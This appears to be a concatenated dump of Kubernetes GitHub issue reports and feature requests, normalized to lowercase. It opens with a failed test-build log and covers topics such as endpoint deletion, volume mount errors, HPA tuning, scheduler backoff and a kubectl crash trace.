k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/version.test: open /tmp/go-build138919994/b4529/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/strategicpatch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/validation/field  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/version  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/json.test: open /tmp/go-build138919994/b4535/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.test: open /tmp/go-build138919994/b4520/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect.test: open /tmp/go-build138919994/b4538/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/waitgroup  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml.test: open /tmp/go-build138919994/b4526/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.test: open /tmp/go-build138919994/b4532/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/yaml  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/version  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/json  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration.test: open /tmp/go-build138919994/b4541/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi.test: open /tmp/go-build138919994/b4552/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apis/apiregistration  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/autoregister.test: open /tmp/go-build138919994/b4547/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.test: open /tmp/go-build138919994/b4544/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions.test: open /tmp/go-build138919994/b4558/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/status.test: open /tmp/go-build138919994/b4555/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/install.test: open /tmp/go-build138919994/b4561/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/autoregister  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/openapi  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/controllers/status  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/install  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/validation.test: open /tmp/go-build138919994/b4574/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/validation.test: open /tmp/go-build138919994/b4568/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/status.test: open /tmp/go-build138919994/b4577/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1.test: open /tmp/go-build138919994/b4565/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource/tableconvertor.test: open /tmp/go-build138919994/b4585/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver.test: open /tmp/go-build138919994/b4571/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/validation  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresourcedefinition.test: open /tmp/go-build138919994/b4588/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/apiserver/validation  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/controller/status  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource.test: open /tmp/go-build138919994/b4580/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresource/tableconvertor  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/apiextensions-apiserver/pkg/registry/customresourcedefinition  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apis/wardle/install.test: open /tmp/go-build138919994/b4616/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/admission/wardleinitializer.test: open /tmp/go-build138919994/b4613/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/admission/plugin/banflunder.test: open /tmp/go-build138919994/b4591/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/admission/plugin/banflunder  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/admission/wardleinitializer  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apis/wardle/install  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions.test: open /tmp/go-build138919994/b4628/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apiserver.test: open /tmp/go-build138919994/b4620/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/sample-apiserver/pkg/apiserver  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions  build failed \r go build k8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions/printers.test: open /tmp/go-build138919994/b4631/importcfg: no such file or directory\r go build k8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions/resource.test: open /tmp/go-build138919994/b4634/importcfg: no such file or directory\r fail\tk8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions/printers  build failed \r fail\tk8s.io/kubernetes/vendor/k8s.io/cli-runtime/pkg/genericclioptions/resource  build failed \r makefile:184: recipe for target 'test' failed\r make:      test  error 1\r root@ubuntu18:/go/src/k8s.io/kubernetes \r    \r

hi\r   what happened  :\r we run a several \ fake\  services in our cluster -- just endpoints,   without   the service resource available. however when leader election for controller-manager happens the endpoints resource is deleted.\r \r   what you expected to happen  :\r keep the endpoints resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create v1.endpoints resource with several endpoints without creating a service alongside it\r 2. change elected leader for controller-manager\r 3. observe the endpoints resource gone\r \r   anything else we need to know?  :\r happens on 1.13.5, 1.13.7, 1.14.1 and 1.14.3  other versions not tested \r \r sample v1.endpoints resource:\r    \r apiversion: v1\r kind: endpoints\r metadata:\r   name: kupitest\r   namespace: ftxt-hint\r subsets:\r - addresses:\r   - ip: 10.57.10.152\r     nodename: foo1.com\r   - ip: 10.57.10.153\r     nodename: foo2.com\r   ports:\r   - name: hint\r     port: 4234\r     protocol: tcp\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.x, 1.14.x\r - cloud provider or hardware configuration: baremetal\r - os  e.g:  cat /etc/os-release  : debian stretch & buster\r - kernel  e.g.  uname -a  : unrelated\r - install tools: custom\r - network plugin and version  if this is a network-related bug : unrelated\r

empty  is more accepted than  isempty , so https://github.com/kubernetes/kubernetes/blob/master/pkg/api/unversioned/group_version.go should be updated to use  empty .  see: https://github.com/kubernetes/kubernetes/pull/20511/files r52620458

when cluster will span multiple availability zones and masters will be spread between zones as well current node eviction policy in node controller most likely won't work. we need to figure out what the correct behavior should be in such case.  cc @davidopp @lavalamp @mml @jszczepkowski @fgrzadkowski @derekwaynecarr @thockin

now that we have moved some code such that it's built out of the staging directory, we should probably update binary and/or release building steps to update the staging directory, or folks' changes won't propagate like they expect.  @cheftako just hit this while changing the labels package. \r \r @deads2k

kubernetes version    use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r linux 4.8.0-37-generic  39-ubuntu smp thu jan 26 02:27:07 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r when a key doesn't exist in a configmap, it produces an error:\r \r references non-existent config key\r \r adding the missing key would help with debugging.\r \r   what you expected to happen  :\r it should show the key\r \r   how to reproduce it    as minimally and precisely as possible :\r \r reference a key in a configmap that doesn't exist.\r \r   anything else we need to know  :\r \r

testgrid: https://k8s-testgrid.appspot.com/release-1.6-upgrade-skew gke-container_vm-1.4-container_vm-1.6-upgrade-master&sort-by-failures=\r \r failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html 5e1dbad0da736548d58a\r \r /assign @foxish

is this a bug report or feature request?  :\r \r kind feature\r @kubernetes/sig-autoscaling-feature-requests\r @kubernetes/sig/autoscaling\r \r   what happened  :\r \r there is no way to change the waiting time before the \ autoscale-up/down\  is effective.\r in addition, when the \ autoscale-up\  is performed, it is not directly scaled to the max number defined inside the hpa.\r \r   what you expected to happen  :\r \r having these parameters configurable into the template definition of the hpa, like:\r - \ scale-up\  waiting time\r - \ scale-down\  waiting time\r - \ scale-up\  step\r - \ scale-down\  step\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r scheduler in kubernetes 1.9 has a new alpha-gated scheduling queue. this scheduling queue has an active queue and a list of unschedulable pods. when certain events occur,  pods are moved from the unschedulable queue to the active queue  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/core/scheduling_queue.go l344 . scheduler should implement a back-off mechanism to move pods to the active queue with some delay when they are already tried and they have failed to schedule.\r for reference, we have a similar  back-off mechanism in our current fifo scheduling queue  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/factory/factory.go l1133 .\r \r 

currently nodemanager.go receives v1.node when node is added to cluster and keeps it until the node is removed. however by reporting vm.uuid as node name instead of host name nodemanager wouldn't have to store that information and code would be much simpler.\r \r    63413

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r when get resource with invalid token, the error info kubectl outputs is wrong.\r for example:\r  kubectl get pod --token=eyjhbgcioijsuzi1niisim \r \r apparently, the token here is invalid. and the kubectl will output error info like\r  error: the server doesn't have a resource type \ pod\  \r it would mislead user.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r noticed  completed  pods were not being deleted after job was deleted. retried with the template from https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/ with  successfuljobshistorylimit . after a few minutes i saw this output:\r \r    \r > kubectl get pods\r name                                           ready     status      restarts   age\r hello-1544573340-gbjlr                         0/1       completed   0          26m\r hello-1544573400-gz5xz                         0/1       completed   0          25m\r hello-1544573460-hmp2q                         0/1       completed   0          24m\r hello-1544573520-fxkxl                         0/1       completed   0          23m\r hello-1544573580-j4dxg                         0/1       completed   0          22m\r hello-1544573640-9wl46                         0/1       completed   0          21m\r hello-1544573700-p6tf2                         0/1       completed   0          20m\r hello-1544573760-nmtth                         0/1       completed   0          19m\r hello-1544573820-5w6ss                         0/1       completed   0          18m\r hello-1544573880-64gvp                         0/1       completed   0          17m\r ...\r    \r \r   what you expected to happen  :\r \r i expected that when the kubernetes controlled successfully deleted the associated jobs via the  successfuljobshistorylimit: 1  option, then the pods would also be deleted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r yes tried with multiple yamls.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.0\r - cloud provider or hardware configuration: 15 nodes \r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  : 4.4.166-1.el7.elrepo.x86_64\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i see only amd64 architecture etcd is used for the  conformance  https://github.com/kubernetes/kubernetes/blob/master/test/utils/image/manifest.go l63  which will create issues for the other architectures like ppc64le, arm etc. we need to replace this etcd image with the k8s maintained fat manifest image present in  gcr.io/google-containers/etcd:3.3.10 \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial-release-1.5/127/  failed:  k8s.io  services should work after restarting kube-proxy  disruptive  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:408 expected error:     < errors.errorstring | 0xc4214a1e90>: {         s: \ 1 containers failed which is more than allowed 0\ ,     }     1 containers failed which is more than allowed 0 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:370       previous issues for this test:  29514

@kris-nova and myself need to be added to the owner files for aws cloud provider, and possibly code from storage that impacts aws

hi.\r \r i'm keep getting \ device or resource is busy\  errors when kubernetes tries to re-mount volumes which are based on configmap.\r i've seen several threads regarding volume mounting failures but they doesn't seem to be related to the failure i'm seeing.\r \r i'm using kubernetes v1.4.1\r \r \r the error i'm seeing is for specific configmap 'hekad-common-config'\r \r /var/log/messages is full of the following logs:\r    \r mountvolume operation started for volume \ kubernetes.io/configmap/c4d620be-1ac3-11e7-a48d-fa163e70f679-hekad-common-config\   spec.name: \ hekad-common-config\   to pod \ c4d620be-1ac3-11e7-a48d-fa163e70f679\   uid: \ c4d620be-1ac3-11e7-a48d-fa163e70f679\  . volume is already mounted to pod, but remount was requested.\r pod lbeta/infrabridge-kube2consul-4287528991-obzn3 volume hekad-common-config: error pruning old user-visible path component: remove /var/lib/origin/openshift.local.volumes/pods/c4d620be-1ac3-11e7-a48d-fa163e70f679/volumes/kubernetes.io~configmap/hekad-common-config/component: device or resource busy\r pod lbeta/infrabridge-kube2consul-4287528991-obzn3 volume hekad-common-config: error removing old visible symlinks: remove /var/lib/origin/openshift.local.volumes/pods/c4d620be-1ac3-11e7-a48d-fa163e70f679/volumes/kubernetes.io~configmap/hekad-common-config/component: device or resource busy                                                                                                                                                                                  \r error writing payload to dir: remove /var/lib/origin/openshift.local.volumes/pods/c4d620be-1ac3-11e7-a48d-fa163e70f679/volumes/kubernetes.io~configmap/hekad-common-config/component: device or resource busy                                                                      \r operation for \ \\\ kubernetes.io/configmap/c4d620be-1ac3-11e7-a48d-fa163e70f679-hekad-common-config\\\   \\\ c4d620be-1ac3-11e7-a48d-fa163e70f679\\\  \  failed. no retries permitted until 2017-04-07 16:57:09.001834524 +0000 utc  durationbeforeretry 2m0s . error: mountvolume.setup failed for volume \ kubernetes.io/configmap/c4d620be-1ac3-11e7-a48d-fa163e70f679-hekad-common-config\   spec.name: \ hekad-common-config\   pod \ c4d620be-1ac3-11e7-a48d-fa163e70f679\   uid: \ c4d620be-1ac3-11e7-a48d-fa163e70f679\   with: remove /var/lib/origin/openshift.local.volumes/pods/c4d620be-1ac3-11e7-a48d-fa163e70f679/volumes/kubernetes.io~configmap/hekad-common-config/component: device or resource busy\r \r    \r and it just keeps re-trying re-mounting the volume every 2 minutes.\r \r from what i’ve been able to understand, kubernetes keeps re-mounting volumes which are based on configmaps.  i guess this is to keep the mount content updated in case the configmap has been updated \r there are several volumes of configmaps which are set to pods, but i think i understand the reason specific failures are seen to hekad-common-config.\r \r note the it tries to re-mount the volume for hekad-common-config, which is mounted to /etc/heka-config.d\r but the device is busy error is for hekad-common-config/component, which is from hekad-component-config configmap.\r \r in the pod template:\r    \r       volumemounts:\r         - name: hekad-component-config\r           mountpath: /etc/heka-config.d/component\r         - name: hekad-common-config\r           mountpath: /etc/heka-config.d\r \r    \r so my question here, could it be the root cause of the issue is that there are 2 volumemounts on the same path  where one of them is in a sub-directory of another mountpath \r \r my only guess is that device busy errors for '/etc/heka-config.d' may happen if it has files within this path which are still in use by the system - in this case /etc/heka-config.d/component may be mounted and causing a failure when trying to un-mount /etc/heka-config.d.\r \r \r if this is the cause, then i think kubernetes should fail creation of such pods which have multiple volumes which are being mounted to the same base paths.

flex volumes keeps breaking every release.  we need some basic tests and add it to the alpha features suite.

hello, i found the pod's health check just support get method with http protocol at present, but in my work environment, i found put method or head method maybe  better, so i want to give a little suggest that whether the next kubernetes version could support health check with put method, thank you!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   this is a bug report  :\r \r \r   what happened  :\r i have created a kubernetes cluster with one master  linux ubuntu  and one node  windows server 2016  in aws environment. after i can use rdp to remotely log into the windows server 2016 node. on this node, i have downloaded kuberntes releases for windows node  kubectl, kubelet etc. . \r \r i can start kubelet to connect to the api server  master . the node status is ready. but when i executed command \ kubectl edit node ...windows_server2016_node_name...\ , i see that the \ cpu\  \ memory\  in \ allocatable\  and \ capacity\  are always set to 0. so if i create a deployment or deploy a pod to windows node, it will fail. because the cpu/memory is always 0 and the scheduler can not deploy a pod to the node.\r  \r what could be the reason? on linux, it is possible to set \ kube-reserved\  and \ system-reserved\ , i do not think it is possible for windows server 2016. \r \r so how the cpu, memory resources are allocated on a windows server 2016 node?\r \r   what you expected to happen  :\r i expected the cpu/ memory resources to be able to be allocated for pod deployment.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes 1.8.3\r - cloud provider or hardware configuration: aws ec2, windows server 2016 with containers  node machine , ubuntu amazon linux image  master \r - os  e.g. from /etc/os-release : ubuntu 4.4, windows server 2016\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r here is one screenshot.\r ! resourceallocation_windows  https://user-images.githubusercontent.com/19169562/33440613-ba4720ce-d5f0-11e7-8a55-001e83766d41.png \r \r here is my node informaiton. some fields are empty and not set automatically. could the problem have something to do with the nodeinfo?\r \r ! resourceallocation_windows1  https://user-images.githubusercontent.com/19169562/33442870-7cd7ebdc-d5f6-11e7-88ab-26991bcaec3e.png \r \r

\r for v2+ of the  local volume provisioner  https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume  non-bind mounted filesystems in a discovery directory will no longer result in local pvs. this change was put in place to handle the non-atomic nature of other methods of adding directories  e.g. https://github.com/kubernetes-incubator/external-storage/issues/482 .\r \r   what you expected to happen  :\r \r this issue is to create an e2e test for the correct behavior, and ensure that non-bind mounted directories within a discovery directory do not result in a local pv.\r \r   is this a bug report or feature request?  :\r  \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r    \r  warning  failedmount  1m  x6 over 13m     kubelet, k8s-clcpyqmetcas-38966124-vmss000000  unable to mount volumes for pod 'solr-0_default 6bbc79aa-2ab7-11e9-88e7-000d3ad25c8a ': timeout expired waiting for volumes to attach or mount for pod 'default'/'solr-0'. list of unmounted volumes= solrhome . list of unattached volumes= solrhome \r  warning  failedmount  51s  x15 over 15m   kubelet, k8s-clcpyqmetcas-38966124-vmss000000  mountvolume.waitforattach failed for volume 'pvc-04e61231-18c4-11e9-88e7-000d3ad25c8a' : cannot parse deviceinfo: /dev/sdf\r several unsuccessful restarts of k8s pod were attempted.  then the k8s pod was removed from instance of vmss  vmss000000  - so it was started on the new instance vmss on which it started to work without problems.\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

we should skip the download to local -> push to storage part of the installation for release binaries.

idea  make it easy to export \ local\  files as a  limited lifetime  volume which pods in a kubernetes cluster can mount.         use cases       interactive development  i am developing an interpreted program such as a python or node.js program.  i want to use the editor/ide on my desktop.  but i want to run the program in a pod because it relies on things that exist in the kubernetes environment, and not my desktop  e.g. dns, service account credentials, services, more memory/cpu, etc .  i want to avoid the step of rebuilding an image and restarting a pod every time i make an edit.   i want a solution like this: 1. i develop my source files locally in my  $home/src  directory.   2. i export  $home/src  as remote storage that can be mounted by pods.  it contains my source code  e.g.  $home/src/hello.py  . 3. i  kubectl run  a pod that has an image that includes my interpreter, like  python:latest , but not my source code.    the pod also mounts the exported volume    $home/src  , which contains the source code.  the command line is set in the pod spec to  /bin/sh  so i can run via  kubectl attach . 4. i use  kubectl attach  to connect to the pod and then run  python ./src/hello.py .   5. in another window, i make edits on my local host, using my editor. 6. then i restart the program in the  kubectl attach  session.       porcelain for docker-like experience  people use to docker may ask why  kubectl  has no equivalent to  docker run -d -p --name web -v /webapp training/webapp .    we could add a  --local-temporary-volumes <local-path>:<mount-path>  option to  kubectl run  which would automate the process of exporting <local-path> and add the needed volume mounts to the pod spec.     proposed new commands  when a user runs  kubectl export-local-volumes --local-path <path> , the following things happen: 1.  kubectl  generates a credential that will be used by clients to access the local fileserver. 2.  kubectl  posts the secret to the current namespace with a generated name. 3.  kubectl  starts a file server  e.g. forks a process or starts a goroutine, implementation tbd  that serves the files under <path> on a port of the local machine's public ip.  this fileserver is exposed to the internet, in typical use cases.  the fileserver is protected by the credential from the first step. 4. when the user hits ctrl-c,  kubectl  stops the file server and cleans up the secret.  when a user runs  kubectl run --local-temporary-volumes <local-path>:<mount-path> , then the following things happen: 1. pod spec is generated, as it currently is for  kubectl run  2. steps 1, 2 and 3 from  kubectl export-local-volumes  happen 3. pod spec is patched to add an item to  .spec.volumes  with the appropriate volume type.      1. appropriate volume type depends on the implementation we choose    2. the volumespec references to the appropriate secret  the one from previous step , e.g. how  cephfsvolumesource  has a  secretref .    3. the volumespec specifies its server  e.g.  nfsvolumesource.server   as the local hostname and the port chosen in the previous step  4. pod spec is patched to add an item to the  .spec.container 0 .volumemounts , using the added volumespec and the user-specified  <mount-path> . 5. cleanup as in   kubectl export-local-volumes  when run is done.     implementation alternatives  nfs mounting is probably most widely supported volume type  see  16741 .    nfs server distribution options: - rely on kernel nfs server   - won't work on windows, and maybe not on mac. - nfs server as a library written in pure go, run as a goroutine in kubectl   - could not find an existing pure go nfs server. - nfs server as a library in c, linked via cgo, run as a goroutine in kubectl.   - changes our build process to build gco, could be headache for cross-platform builds - ship an extra binary with kubectl that it will fork, which runs a userspace nfs daemon    - pain to ship extra binary with kubectl - kubectl launches a userspace nfs server in a docker container   - requires docker on the users machine, but most users will have docker for building images.   - can use a containerized userspace nfs server such as https://github.com/macadmins/unfs3    - seems like best option  alternative to nfs would be fuse volume type on the client.  the fuse module could talk whatever protocol  e.g. https  to the server, which can be written in pure go and linked into kubectl.   nodes inside the cluster may be firewalled making it difficult for them to reach the kubectl-user's local machine via nfs protocol.  some kind of proxy or tunnel may be needed too.

this pod is validated and runs to completion:      yaml apiversion: v1 kind: pod metadata:   name: millibyte spec:   containers:   - name: c     image: busybox     command:  \ sh\ , \ -c\ , \ echo allocating millibytes of memory.\       resources:       limits:         cpu: 10m         memory: 20000000001m       requests:         cpu: 10m         memory: 20000000001m   restartpolicy: never      i think it should not pass validation.   allowing  m  for bytes doesn't have a real-world meaning.  it probably is a typo  meant  m  or swapped with cpu field .   we should avoid accepting values with more precision that we can ever support.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : severity,container log  ---    is this a bug report or feature request?    choose one : - feature request  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : - 1.3.6    environment  : -   cloud provider or hardware configuration  :   google cloud platform -   os    e.g. from /etc/os-release :   ubuntu14:04 -   kernel    e.g.  uname -a  :   3.16.0-4-amd64 -   install tools  : -   others  :   gke google container engine     what happened  : how to specify \ severity\  to container logs? i'm running with kubernetes on gce.  and i want to specify \ severity\  to container logs.  i know that normally the logs written to stdout got tagged with the info severity and logs written to stderr got tagged with the error severity.  i have a question. in the future, container log will be able to specify the severity?    what you expected to happen  : is there any plan to specification of container log is improved, if that is i want to hear whether the planned release time.    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : - running kubectl on macos sierra    what happened  : - ran:  kubectl get hpa,pod,deployment,rc,service,node -owide  - got:       fatal error: unexpected signal during runtime execution  signal 0xb code=0x1 addr=0x15a8a398814c pc=0xecfb   runtime stack: runtime.throw 0x1a4b1e0, 0x2a      /usr/local/go/src/runtime/panic.go:547 +0x90 runtime.sigpanic       /usr/local/go/src/runtime/sigpanic_unix.go:12 +0x5a runtime.unlock 0x234b320      /usr/local/go/src/runtime/lock_sema.go:107 +0x14b runtime.  mheap .alloc_m 0x234b320, 0x3, 0x37, 0x2725658      /usr/local/go/src/runtime/mheap.go:492 +0x314 runtime.  mheap .alloc.func1       /usr/local/go/src/runtime/mheap.go:502 +0x41 runtime.systemstack 0x7fff5fbfe338      /usr/local/go/src/runtime/asm_amd64.s:307 +0xab runtime.  mheap .alloc 0x234b320, 0x3, 0x10000000037, 0xe99f      /usr/local/go/src/runtime/mheap.go:503 +0x63 runtime.  mcentral .grow 0x234de00, 0x0      /usr/local/go/src/runtime/mcentral.go:209 +0x93 runtime.  mcentral .cachespan 0x234de00, 0x2725658      /usr/local/go/src/runtime/mcentral.go:89 +0x47d runtime.  mcache .refill 0x2692960, 0xc800000037, 0x2725658      /usr/local/go/src/runtime/mcache.go:119 +0xcc runtime.mallocgc.func2       /usr/local/go/src/runtime/malloc.go:642 +0x2b runtime.systemstack 0x2342600      /usr/local/go/src/runtime/asm_amd64.s:291 +0x79 